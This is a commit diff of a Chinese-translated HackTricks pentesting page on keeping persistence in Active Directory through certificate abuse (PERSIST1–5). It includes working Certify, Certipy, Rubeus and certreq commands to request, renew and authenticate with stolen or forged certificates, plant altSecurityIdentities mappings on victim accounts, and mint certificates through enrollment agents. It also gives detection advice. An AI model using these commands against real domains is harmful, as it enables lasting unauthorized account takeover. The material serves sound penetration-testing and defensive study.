Translated ['src/windows-hardening/active-directory-methodology/ad-certi

This commit is contained in:
Translator 2025-08-19 00:20:02 +00:00
parent 61bae800f3
commit ec20e27fd8

View File

@ -2,55 +2,131 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**这是对[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)中精彩研究的机器持久性章节的小总结** **这是对[https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)中精彩研究的账户持久性章节的小总结**
## **理解通过证书进行的活动用户凭证盗窃 PERSIST1** ## 理解使用证书的活动用户凭证盗窃 PERSIST1
在用户可以请求允许域身份验证的证书的场景中,攻击者有机会**请求**并**窃取**此证书以**维持在网络上的持久性**。默认情况下Active Directory中的`User`模板允许此类请求,尽管有时可能会被禁用。 一个用户可以请求允许域身份验证的证书的场景中,攻击者有机会请求并窃取该证书,以在网络上保持持久性。默认情况下Active Directory中的`User`模板允许此类请求,尽管有时可能会被禁用。
使用名为[**Certify**](https://github.com/GhostPack/Certify)的工具,可以搜索启用持久访问的有效证书 使用[Certify](https://github.com/GhostPack/Certify)或[Certipy](https://github.com/ly4k/Certipy),您可以搜索允许客户端身份验证的启用模板,然后请求一个
```bash ```bash
# Enumerate client-auth capable templates
Certify.exe find /clientauth Certify.exe find /clientauth
```
强调了证书的力量在于它能够**作为其所属用户进行身份验证**,无论任何密码更改,只要证书保持**有效**。
可以通过图形界面使用 `certmgr.msc` 或通过命令行使用 `certreq.exe` 请求证书。使用**Certify**,请求证书的过程简化如下: # Request a user cert from an Enterprise CA (current user context)
```bash Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
``` ```
成功请求后,将生成一个证书及其私钥,格式为 `.pem`。要将其转换为可在 Windows 系统上使用的 `.pfx` 文件,使用以下命令: 证书的力量在于它能够作为其所属用户进行身份验证,无论密码如何更改,只要证书保持有效。
您可以将 PEM 转换为 PFX 并使用它来获取 TGT
```bash ```bash
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
`.pfx` 文件可以上传到目标系统,并与一个名为 [**Rubeus**](https://github.com/GhostPack/Rubeus) 的工具一起使用,以请求用户的票据授权票证 (TGT),从而延长攻击者的访问权限,直到证书 **有效**(通常为一年):
```bash
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
```
一个重要的警告是,这种技术与**THEFT5**部分中概述的另一种方法结合使用时允许攻击者在不与本地安全授权子系统服务LSASS交互的情况下持久性地获取账户的**NTLM hash**,并且在非提升的上下文中提供了一种更隐蔽的长期凭证窃取方法。
## **通过证书获得机器持久性 - PERSIST2** # Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
另一种方法涉及为被攻陷系统的机器账户注册证书,利用默认的`Machine`模板允许此类操作。如果攻击者在系统上获得提升的权限,他们可以使用**SYSTEM**账户请求证书,从而提供一种**持久性**形式: # Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
```
> 注意:结合其他技术(见盗窃部分),基于证书的身份验证允许在不接触 LSASS 的情况下,甚至在非提升上下文中实现持久访问。
## 使用证书获得机器持久性 - PERSIST2
如果攻击者在主机上拥有提升的权限,他们可以使用默认的 `Machine` 模板为被攻陷系统的机器账户注册证书。作为机器进行身份验证使得本地服务能够使用 S4U2Self并可以提供持久的主机持久性
```bash ```bash
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
``` ```
此访问权限使攻击者能够以机器帐户身份对**Kerberos**进行身份验证,并利用**S4U2Self**为主机上的任何服务获取Kerberos服务票证从而有效地授予攻击者对该机器的持久访问权限。 ## 通过证书续订扩展持久性 - PERSIST3
## **通过证书续订扩展持久性 - PERSIST3** 滥用证书模板的有效性和续订周期使攻击者能够维持长期访问。如果您拥有先前颁发的证书及其私钥,您可以在到期之前续订它,以获得一个新的、长期有效的凭证,而不会留下与原始主体相关的额外请求痕迹。
```bash
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
最后讨论的方法涉及利用证书模板的**有效性**和**续订周期**。通过在证书到期之前**续订**证书攻击者可以保持对Active Directory的身份验证而无需额外的票证注册这可能会在证书授权CA服务器上留下痕迹。 # Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> 操作提示:跟踪攻击者持有的 PFX 文件的生命周期并提前续订。续订还可以导致更新的证书包含现代 SID 映射扩展,使其在更严格的 DC 映射规则下保持可用(见下一节)。
### 使用 Certify 2.0 进行证书续订 ## 植入显式证书映射 (altSecurityIdentities) PERSIST4
从**Certify 2.0**开始,续订工作流程通过新的`request-renew`命令完全自动化。给定一个先前签发的证书(以**base-64 PKCS#12**格式),攻击者可以在不与原始所有者互动的情况下续订它——非常适合隐秘的长期持久性: 如果您可以写入目标帐户的 `altSecurityIdentities` 属性,则可以将攻击者控制的证书显式映射到该帐户。这在密码更改后仍然有效,并且在使用强映射格式时,在现代 DC 执行下仍然保持功能。
高级流程:
1. 获取或颁发您控制的客户端身份验证证书(例如,以您自己身份注册 `User` 模板)。
2. 从证书中提取强标识符Issuer+Serial、SKI 或 SHA1-PublicKey
3. 使用该标识符在受害者主体的 `altSecurityIdentities` 上添加显式映射。
4. 使用您的证书进行身份验证DC 通过显式映射将其映射到受害者。
示例PowerShell使用强 Issuer+Serial 映射:
```powershell ```powershell
Certify.exe request-renew --ca SERVER\\CA-NAME \ # Example values - reverse the issuer DN and serial as required by AD mapping format
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX $Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
``` ```
该命令将返回一个新的 PFX有效期为另一个完整的生命周期使您能够在第一个证书过期或被撤销后继续进行身份验证。 然后使用您的 PFX 进行身份验证。 Certipy 将直接获取 TGT
```bash
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
```
笔记
- 仅使用强映射类型X509IssuerSerialNumber、X509SKI 或 X509SHA1PublicKey。弱格式Subject/Issuer、仅主题、RFC822 电子邮件)已被弃用,并可能被 DC 策略阻止。
- 证书链必须构建到 DC 信任的根证书。NTAuth 中的企业 CA 通常是受信任的;某些环境也信任公共 CA。
## 参考 有关弱显式映射和攻击路径的更多信息,请参见:
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) {{#ref}}
domain-escalation.md
{{#endref}}
## 作为持久性使用的注册代理 PERSIST5
如果您获得有效的证书请求代理/注册代理证书,您可以随意代表用户铸造新的可登录证书,并将代理 PFX 离线作为持久性令牌。滥用工作流程:
```bash
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
```
撤销代理证书或模板权限是驱逐此持久性的必要条件。
## 2025 强证书映射强制执行:对持久性的影响
Microsoft KB5014754 在域控制器上引入了强证书映射强制执行。从2025年2月11日起DC 默认采用完全强制执行,拒绝弱/模糊映射。实际影响:
- 缺乏 SID 映射扩展的 2022 年之前的证书在 DC 处于完全强制执行时可能会失败隐式映射。攻击者可以通过 AD CS 续订证书(以获取 SID 扩展)或在 `altSecurityIdentities` 中植入强显式映射PERSIST4来维持访问。
- 使用强格式Issuer+Serial、SKI、SHA1-PublicKey的显式映射继续有效。弱格式Issuer/Subject、Subject-only、RFC822可能会被阻止应避免用于持久性。
管理员应监控并警报:
- 对 `altSecurityIdentities` 的更改以及 Enrollment Agent 和用户证书的签发/续订。
- CA 签发日志中的代表请求和异常续订模式。
## 参考文献
- Microsoft. KB5014754Windows 域控制器上的基于证书的身份验证更改(强制执行时间表和强映射)。
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Wiki 命令参考(`req -renew``auth``shadow`)。
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}